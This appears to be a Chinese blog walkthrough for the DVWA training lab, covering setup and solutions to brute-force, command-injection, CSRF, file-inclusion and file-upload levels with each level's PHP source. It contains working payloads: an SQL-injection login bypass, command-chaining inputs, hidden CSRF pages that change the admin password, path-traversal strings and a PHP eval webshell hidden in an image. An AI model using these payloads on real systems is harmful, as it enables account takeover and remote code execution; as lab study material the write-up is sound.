介绍
DVWA (Damn Vulnerable Web Application) 是一个故意设计为存在安全漏洞的 Web 应用程序 。它是开源的(基于 PHP/MySQL),专为信息安全学习、测试和演示而开发。其核心目的是提供一个安全的环境,让安全从业者、学生或开发人员练习渗透测试技术和理解 Web 漏洞原理。
如何搭建
本章使用Windows环境下的phpstudy进行搭建
下载phpstudy:Windows版phpstudy下载 - 小皮面板(phpstudy)
下载DVWA:digininja/DVWA: Damn Vulnerable Web Application (DVWA)
将下载好的文件夹DVWA-2.5放在phpstudy_pro/WWW/目录下
在/www/dvwa-2.5/config下修改config.inc.php.dist
文件
去掉后缀.dist改为config.inc.php
并打开按照如下设置
这里DB_USER如果不是root可能会出现报错
打开phpstudy设置网站,根目录选择dvwa文件夹路径
随后来到数据库设置,创建dvwa数据库
再来到首页启动apache FTP MySQL服务
此时可以在浏览器访问http://localhost:6123/login.php进行登录
首次登录输入账号密码(admin password)
随后进入/setup.php 滑到最下面点击按钮
创建成功后即可进入靶场
Setup Check是对应功能的情况,需要什么开什么就行
使用
本靶场分为low medium high impossible四种难度
暴力破解(Brute Force)
Low
条件:
允许无数次尝试,密码md5加密,用户没有加密
解法:
随便用一个字典,bp抓登录包后选集束炸弹(cluster bomb)同时爆破用户名和密码(一个用户名与所有密码配对后换下一个用户名)最后爆破出[admin password]
也可以用sql注入的万能钥匙只要知道用户名是admin即可(admin' or '1'='1 --+
密码随便填)
关于BP如何抓本地包
很简单,正常我们访问地址为localhost:port,将localhost改为本地网络的IPV4地址即可(ipconfig查询)
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php if ( isset ( $_GET [ 'Login' ] ) ) { $user = $_GET [ 'username' ]; $pass = $_GET [ 'password' ]; $pass = md5 ( $pass ); $query = "SELECT * FROM `users` WHERE user = '$user ' AND password = '$pass ';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); if ( $result && mysqli_num_rows ( $result ) == 1 ) { $row = mysqli_fetch_assoc ( $result ); $avatar = $row ["avatar" ]; echo "<p>Welcome to the password protected area {$user} </p>" ; echo "<img src=\"{$avatar} \" />" ; } else { echo "<pre><br />Username and/or password incorrect.</pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
Medium
条件:
同Low难度,增添了请求失败后延迟2s,
解法:
同Low解法
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php if ( isset ( $_GET [ 'Login' ] ) ) { $user = $_GET [ 'username' ]; $user = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $user ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass = $_GET [ 'password' ]; $pass = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass = md5 ( $pass ); $query = "SELECT * FROM `users` WHERE user = '$user ' AND password = '$pass ';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); if ( $result && mysqli_num_rows ( $result ) == 1 ) { $row = mysqli_fetch_assoc ( $result ); $avatar = $row ["avatar" ]; echo "<p>Welcome to the password protected area {$user} </p>" ; echo "<img src=\"{$avatar} \" />" ; } else { sleep ( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
High
条件:
添加了token验证 若登录失败会更新token信息放在响应包给到用户
解法:
同前面解法,只是需要在每一次爆破时提交最新的token
BP爆破选择交叉(pitchfork),payload1给到密码,payload2给到token值
然后找到设置里的提取功能(grep-extract).下面的重定向选择总是
点击添加->重新获取响应->找到回显的头token值选中->确认
回到payload处
payload1选简单列表给上字典,payload2选择递归提取
开始爆破,可以看到第一次请求发出后收到的回显中的新的token将会作为下一次发送请求时的token发出
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php if ( isset ( $_GET [ 'Login' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $user = $_GET [ 'username' ]; $user = stripslashes ( $user ); $user = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $user ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass = $_GET [ 'password' ]; $pass = stripslashes ( $pass ); $pass = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass = md5 ( $pass ); $query = "SELECT * FROM `users` WHERE user = '$user ' AND password = '$pass ';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $query ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); if ( $result && mysqli_num_rows ( $result ) == 1 ) { $row = mysqli_fetch_assoc ( $result ); $avatar = $row ["avatar" ]; echo "<p>Welcome to the password protected area {$user} </p>" ; echo "<img src=\"{$avatar} \" />" ; } else { sleep ( rand ( 0 , 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } generateSessionToken ();?>
Impossible
防御手段:
请求延迟,token验证,登录次数限制
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php if ( isset ( $_POST [ 'Login' ] ) && isset ($_POST ['username' ]) && isset ($_POST ['password' ]) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $user = $_POST [ 'username' ]; $user = stripslashes ( $user ); $user = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $user ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass = $_POST [ 'password' ]; $pass = stripslashes ( $pass ); $pass = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass = md5 ( $pass ); $total_failed_login = 3 ; $lockout_time = 15 ; $account_locked = false ; $data = $db ->prepare ( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); $data ->bindParam ( ':user' , $user , PDO::PARAM_STR ); $data ->execute (); $row = $data ->fetch (); if ( ( $data ->rowCount () == 1 ) && ( $row [ 'failed_login' ] >= $total_failed_login ) ) { $last_login = strtotime ( $row [ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60 ); $timenow = time (); if ( $timenow < $timeout ) { $account_locked = true ; } } $data = $db ->prepare ( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data ->bindParam ( ':user' , $user , PDO::PARAM_STR ); $data ->bindParam ( ':password' , $pass , PDO::PARAM_STR ); $data ->execute (); $row = $data ->fetch (); if ( ( $data ->rowCount () == 1 ) && ( $account_locked == false ) ) { $avatar = $row [ 'avatar' ]; $failed_login = $row [ 'failed_login' ]; $last_login = $row [ 'last_login' ]; echo "<p>Welcome to the password protected area <em>{$user} </em></p>" ; echo "<img src=\"{$avatar} \" />" ; if ( $failed_login >= $total_failed_login ) { echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>" ; echo "<p>Number of login attempts: <em>{$failed_login} </em>.<br />Last login attempt was at: <em>{$last_login} </em>.</p>" ; } $data = $db ->prepare ( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data ->bindParam ( ':user' , $user , PDO::PARAM_STR ); $data ->execute (); } else { sleep ( rand ( 2 , 4 ) ); echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>" ; $data = $db ->prepare ( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data ->bindParam ( ':user' , $user , PDO::PARAM_STR ); $data ->execute (); } $data = $db ->prepare ( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data ->bindParam ( ':user' , $user , PDO::PARAM_STR ); $data ->execute (); } generateSessionToken ();?>
命令注入(Command Injection)
Low
条件:
允许命令执行并且无任何防御与过滤
解法:
直接拼接命令即可
1 2 3 4 127.0.0.1 & ipconfig 先执行前面后执行后面127.0.0.1 && ipconfig 先执行前面[成功] 后才执行后面127.0.0.1 | ipconfig 先执行前面后执行后面127.0.0.1 || ipconfig 先执行前面[失败] 后才执行后面
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = $_REQUEST [ 'ip' ]; if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } ?>
Medium
条件:
&&
和;
会被改为空格
解法:
同上用其他三个即可
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = $_REQUEST [ 'ip' ]; $substitutions = array ( '&&' => '' , ';' => '' , ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } ?>
High
条件:
全ban了,但是管道符|
没有被正确过滤,在源码处可以看到后面还有个空格
解法:
127.0.0.1|ipconfig
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = trim ($_REQUEST [ 'ip' ]); $substitutions = array ( '||' => '' , '&' => '' , ';' => '' , '| ' => '' , '-' => '' , '$' => '' , '(' => '' , ')' => '' , '`' => '' , ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } ?>
Impossible
防御手段:
白名单限制(能白名决不黑名)
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $target = $_REQUEST [ 'ip' ]; $target = stripslashes ( $target ); $octet = explode ( "." , $target ); if ( ( is_numeric ( $octet [0 ] ) ) && ( is_numeric ( $octet [1 ] ) ) && ( is_numeric ( $octet [2 ] ) ) && ( is_numeric ( $octet [3 ] ) ) && ( sizeof ( $octet ) == 4 ) ) { $target = $octet [0 ] . '.' . $octet [1 ] . '.' . $octet [2 ] . '.' . $octet [3 ]; if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } else { echo '<pre>ERROR: You have entered an invalid IP.</pre>' ; } } generateSessionToken ();?>
跨站请求伪造(CSRF)
Low
条件:
无任何防御,输入两次新密码即可更改admin账户密码,并且参数以get传出
解法:
因为是CSRF专项,这里就让管理员访问恶意链接从而修改其密码
http://localhost:6123/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
这个是修改密码时的url,直接给到目标用户让其访问即可修改
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php if ( isset ( $_GET [ 'Change' ] ) ) { $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $current_user = dvwaCurrentUser (); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . $current_user . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
Medium
条件:
添加Refere头验证
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
解法:
先抓包看看怎么检测的
1 2 3 4 5 GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1 Host : localhost:6123User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36Referer : http://localhost:6123/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=ChangeCookie : PHPSESSID=r987f8rtileuit5vlnko39uppn; security=medium
可以看到Referer处把URL复制了一遍
CSRF通常是让用户点击恶意链接,这个恶意链接显然是存放在黑客恶意搭建的钓鱼网站上,那么像Low那样的话就会在Referer头处被拦截
但是stripos只是很单纯的检测字符串内容,因此我们保证让用户点击的恶意链接有该关键字即可就可以绕过了
因此这里我创建了如下的html文件,放在localhost(检测的关键字)文件夹下,再打开,它就会访问该链接进行密码修改
而此时的Refere内容为:C:/Users/Nanian233/Desktop/localhost/hack.html
1 2 3 4 5 <img src ="http://localhost:6123/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#" border ="0" style ="display:none;" /> <h1 > 404<h1 > <h2 > file not found.<h2 >
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php if ( isset ( $_GET [ 'Change' ] ) ) { if ( stripos ( $_SERVER [ 'HTTP_REFERER' ] ,$_SERVER [ 'SERVER_NAME' ]) !== false ) { $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $current_user = dvwaCurrentUser (); $insert = "UPDATE `users` SET password = '$pass_new ' WHERE user = '" . $current_user . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_error ($GLOBALS ["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error ()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } } else { echo "<pre>That request didn't look correct.</pre>" ; } ((is_null ($___mysqli_res = mysqli_close ($GLOBALS ["___mysqli_ston" ]))) ? false : $___mysqli_res ); } ?>
High
条件:
加入Anti-CSRF,用于token验证
解法:
抓包
1 2 3 4 5 GET /vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=73ae8db05cadf48c3ce6240226634c5c HTTP/1.1 Host : localhost:6123User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36Referer : http://localhost:6123/vulnerabilities/csrf/Cookie : PHPSESSID=r987f8rtileuit5vlnko39uppn; security=high
这题需要我们构造一个脚本来获取用户的token信息后再进行密码修改
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <script type ="text/javascript" > function attack ( ) { document .getElementsByName ('user_token' )[0 ].value =document .getElementById ("hack" ).contentWindow .document .getElementsByName ('user_token' )[0 ].value ; document .getElementById ("transfer" ).submit (); } </script > <iframe src ="http://localhost:6123/vulnerabilities/csrf/" id ="hack" border ="0" style ="display:none;" > </iframe > <body onload ="attack()" > <form method ="GET" id ="transfer" action ="http://localhost:6123/vulnerabilities/csrf/" > <input type ="hidden" name ="password_new" value ="123" > <input type ="hidden" name ="password_conf" value ="123" > <input type ="hidden" name ="user_token" value ="" > <input type ="hidden" name ="Change" value ="Change" > </form > </body >
依然是放在我们的localhost文件夹下访问一次就可以执行成功
但是这题存在跨域问题
1 document .getElementById ("hack" ).contentWindow .document
这行代码尝试访问iframe内部的document对象,但当iframe的源(http://localhost:6123
)与父页面源不同时:
源组成:协议(http) + 域名(localhost) + 端口(6123)
浏览器会阻止这种跨域DOM访问 ,抛出安全异常
若是现实环境还得XSS来拿用户的token才行
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php $change = false ;$request_type = "html" ;$return_message = "Request Failed" ;if ($_SERVER ['REQUEST_METHOD' ] == "POST" && array_key_exists ("CONTENT_TYPE" , $_SERVER ) && $_SERVER ['CONTENT_TYPE' ] == "application/json" ) { $data = json_decode (file_get_contents ('php://input' ), true ); $request_type = "json" ; if (array_key_exists ("HTTP_USER_TOKEN" , $_SERVER ) && array_key_exists ("password_new" , $data ) && array_key_exists ("password_conf" , $data ) && array_key_exists ("Change" , $data )) { $token = $_SERVER ['HTTP_USER_TOKEN' ]; $pass_new = $data ["password_new" ]; $pass_conf = $data ["password_conf" ]; $change = true ; } } else { if (array_key_exists ("user_token" , $_REQUEST ) && array_key_exists ("password_new" , $_REQUEST ) && array_key_exists ("password_conf" , $_REQUEST ) && array_key_exists ("Change" , $_REQUEST )) { $token = $_REQUEST ["user_token" ]; $pass_new = $_REQUEST ["password_new" ]; $pass_conf = $_REQUEST ["password_conf" ]; $change = true ; } } if ($change ) { checkToken ( $token , $_SESSION [ 'session_token' ], 'index.php' ); if ( $pass_new == $pass_conf ) { $pass_new = mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ); $pass_new = md5 ( $pass_new ); $current_user = dvwaCurrentUser (); $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';" ; $result = mysqli_query ($GLOBALS ["___mysqli_ston" ], $insert ); $return_message = "Password Changed." ; } else { $return_message = "Passwords did not match." ; } mysqli_close ($GLOBALS ["___mysqli_ston" ]); if ($request_type == "json" ) { generateSessionToken (); header ("Content-Type: application/json" ); print json_encode (array ("Message" =>$return_message )); exit ; } else { echo "<pre>" . $return_message . "</pre>" ; } } generateSessionToken ();?>
Impossible
防御手段:
添加旧密码验证,需要用户先输入旧的密码.Anti-CSRF token验证
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php if ( isset ( $_GET [ 'Change' ] ) ) { checkToken ( $_REQUEST [ 'user_token' ], $_SESSION [ 'session_token' ], 'index.php' ); $pass_curr = $_GET [ 'password_current' ]; $pass_new = $_GET [ 'password_new' ]; $pass_conf = $_GET [ 'password_conf' ]; $pass_curr = stripslashes ( $pass_curr ); $pass_curr = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_curr ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_curr = md5 ( $pass_curr ); $data = $db ->prepare ( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $current_user = dvwaCurrentUser (); $data ->bindParam ( ':user' , $current_user , PDO::PARAM_STR ); $data ->bindParam ( ':password' , $pass_curr , PDO::PARAM_STR ); $data ->execute (); if ( ( $pass_new == $pass_conf ) && ( $data ->rowCount () == 1 ) ) { $pass_new = stripslashes ( $pass_new ); $pass_new = ((isset ($GLOBALS ["___mysqli_ston" ]) && is_object ($GLOBALS ["___mysqli_ston" ])) ? mysqli_real_escape_string ($GLOBALS ["___mysqli_ston" ], $pass_new ) : ((trigger_error ("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5 ( $pass_new ); $data = $db ->prepare ( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data ->bindParam ( ':password' , $pass_new , PDO::PARAM_STR ); $current_user = dvwaCurrentUser (); $data ->bindParam ( ':user' , $current_user , PDO::PARAM_STR ); $data ->execute (); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match or current password incorrect.</pre>" ; } } generateSessionToken ();?>
文件包含(File Inclusion)
如果显示函数allow_url_include未启用可以在小皮的软件管理找到自己的php版本点击设置把远程包含 选项打开
Low
条件:
无任何安全措施,URL参数包含文件?page=include.php
解法:
为了解题我在根目录下创建了flag,直接包含即可?page=../../flag.txt
题目源码:
1 2 3 4 5 6 7 8 9 <?php $file = $_GET [ 'page' ]; ?>
Medium
条件:
替换关键字为空(具体看题目源码)
解法:
替换类型的可以采用双写绕过?page=htthttp://p://localhost:6123/flag.txt
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php $file = $_GET [ 'page' ];$file = str_replace ( array ( "http://" , "https://" ), "" , $file );$file = str_replace ( array ( "../" , "..\\" ), "" , $file );?>
High
条件:
要求文件名必须是file*或者include.php
解法:
Medium的路径穿越又没办了可以用file../../../../flag.txt
也可以使用file协议file:///D:\phpstudy_pro\WWW\DVWA-2.5\flag.txt
(windows环境用的反斜杠)
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $file = $_GET [ 'page' ];if ( !fnmatch ( "file*" , $file ) && $file != "include.php" ) { echo "ERROR: File not found!" ; exit ; } ?>
Impossible
防御手段:
白名单
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $file = $_GET [ 'page' ];$configFileNames = [ 'include.php' , 'file1.php' , 'file2.php' , 'file3.php' , ]; if ( !in_array ($file , $configFileNames ) ) { echo "ERROR: File not found!" ; exit ; } ?>
文件上传(File Upload)
Low
条件:
无防御允许任意文件上传
解法:
直接上传一句话木马,然后访问对应路径RCE即可
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/" ; $target_path .= basename ( $_FILES [ 'uploaded' ][ 'name' ] ); if ( !move_uploaded_file ( $_FILES [ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } ?>
Medium
条件:
限制文件类型为png或jpeg并且限制内容长度
解法:
这个是在前端对上传类型做限制因此我们bp抓包后再修改文件类型即可
1 2 3 4 5 6 POST /vulnerabilities/upload/ HTTP/1.1 ------WebKitFormBoundaryRfOof3XDotXsU72V Content-Disposition : form-data; name="uploaded"; filename="key1.php"Content-Type : image/png<?eval($_POST[1]); ------WebKitFormBoundaryRfOof3XDotXsU72V
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/" ; $target_path .= basename ( $_FILES [ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES [ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; if ( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { if ( !move_uploaded_file ( $_FILES [ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>' ; } } ?>
High
条件:
新增检查文件头 文件名
解法:
对文件后缀卡死只能上传图片马后利用文件包含的漏洞了(单纯文件上传已经做不到了)
图片头尾做好里面内容还是放一句话木马,后缀.png直接传,然后在文件包含那里包含一下即可,include遇到PHP代码会执行的
1 copy example.png/b+hack.php/a hack.png
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php if ( isset ( $_POST [ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/" ; $target_path .= basename ( $_FILES [ 'uploaded' ][ 'name' ] ); $uploaded_name = $_FILES [ 'uploaded' ][ 'name' ]; $uploaded_ext = substr ( $uploaded_name , strrpos ( $uploaded_name , '.' ) + 1 ); $uploaded_size = $_FILES [ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES [ 'uploaded' ][ 'tmp_name' ]; if ( ( strtolower ( $uploaded_ext ) == "jpg" || strtolower ( $uploaded_ext ) == "jpeg" || strtolower ( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize ( $uploaded_tmp ) ) { if ( !move_uploaded_file ( $uploaded_tmp , $target_path ) ) { echo '<pre>Your image was not uploaded.</pre>' ; } else { echo "<pre>{$target_path} succesfully uploaded!</pre>" ; } } else { echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>' ; } } ?>
Impossible
防御手段:
随机化文件名(防止路径遍历和文件名冲突)
双重验证(扩展名、MIME类型、图片大小)
二次渲染(避免图片中隐藏恶意代码)
使用rename而非直接移动上传文件(因为已经重新生成图片,所以文件已不是原始上传文件)
文件扩展名和MIME类型白名单
题目源码:
